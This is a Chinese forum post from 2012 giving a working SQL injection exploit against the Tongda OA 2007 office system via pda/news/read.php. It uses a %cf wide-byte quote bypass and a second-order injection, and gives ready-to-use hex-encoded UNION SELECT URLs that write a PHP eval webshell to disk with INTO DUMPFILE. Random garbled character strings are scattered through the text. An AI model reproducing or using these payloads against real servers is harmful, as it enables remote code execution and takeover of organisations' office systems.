目前测试通达OA2007版本: f m; T! O( L2 g* V
) E) N$ o- [5 e/ {: m) M3 ~
; I6 ~: E, ~3 ]
Office Anywhere 2007 网络智能办公系统* s% p! b P2 C7 q' h: |
- j a0 z+ @: C3 E6 w4 z' R- x3 Phttp://127.0.0.1/pda/news/read.php?P=%cf' 猪点。 暴web目录..
4 [5 a) a' O( j. y3 A ~ + T! {' B3 w& B7 |
' B* m0 I! y2 w
这个时候看了下代码，存在注入的那个变量的语句中第3个字段，在该文件下面被另外个select语句调用了，灵光一闪，大概思路是这样的
8 N, b3 H0 q3 J
6 D5 M, T W' Z" w例如：SELECT * from USER where USER_ID='{$USERNAME}'
4 K/ W/ g5 j& ^其中有这么段字段声明$PROVIDER = $ROW['PROVIDER'];被下面个语句$query1 = "SELECT * from USER where USER_ID='{$PROVIDER}'";带入查询了
# I* r# [' }, u/ m5 n: E ( @" P+ V3 t" ] W
这个时候我们是不是可以组合起来使用哪？$ `$ T% J' V5 `- I
, M, ?& O, w( K/ G# M: V
第一条语句开始注入，union select 1,2,3,4,5,6,7,8,9,10...，比如第3个是PROVIDER字段，我们这样
, B) ~* Y/ v. d9 wunion select 1,2,'UNION SELECT 1,1,1,'<?php eval($v);?>',1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 into dumpfile'B:/m.php'#,4,5,6,7,8,9,10. h" x" ~3 l" w1 z
, x4 C* t/ \, v; C
这样'UNION SELECT 1,1,1,'<?php eval($v);?>',1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 into dumpfile'B:/m.php'#这个语句就带入第二条语句去写webshell了7 @% c5 ~; z5 V
1 a; M6 T1 n! q2 h那么问题来了，单引号可以吗？当然是不可以的，^_^。。。
% D" z# a- X* L9 D8 c
. d6 W3 n% Z4 w: U那么我们用字符串格式带入进行hex编码
2 p6 t3 R& W( c9 M T
& u- z2 f1 f- _' i& d& ?8 H% f%cf'UNION SELECT 1,2,3,0x27554e494f4e2053454c45435420312c312c312c273c3f706870206576616c282476293b3f3e272c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c3120696e746f2064756d7066696c6527423a2f6d2e7068702723,5,6,7,8,9,10,11,12,13,14,15,16%23
3 m2 n# ~# H: y5 [ * Y5 c* @/ W7 H
测试ok，获取oa的webshell
7 g/ O: G! |, }! @" @) O/ g w4 v0 x- m6 `: ~! S4 i Y
$ n k, R) e9 }pda/news/read.php?P=%cf'or%281=1%29%23&NEWS_ID=%cf'UNION SELECT 1,2,3,0x27554E494F4E2053454C45435420312C312C312C273C3F706870206576616C282476293B3F3E272C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C3120696E746F2064756D7066696C6527443A2F4D594F412F776562726F6F742F6D2E7068702723,5,6,7,8,9,10,11,12,13,14,15,16%23
# {" g. ]6 @7 z) E0 ?直接getwebshell |
发表于 2012-12-20 08:09:24
收藏
支持
反对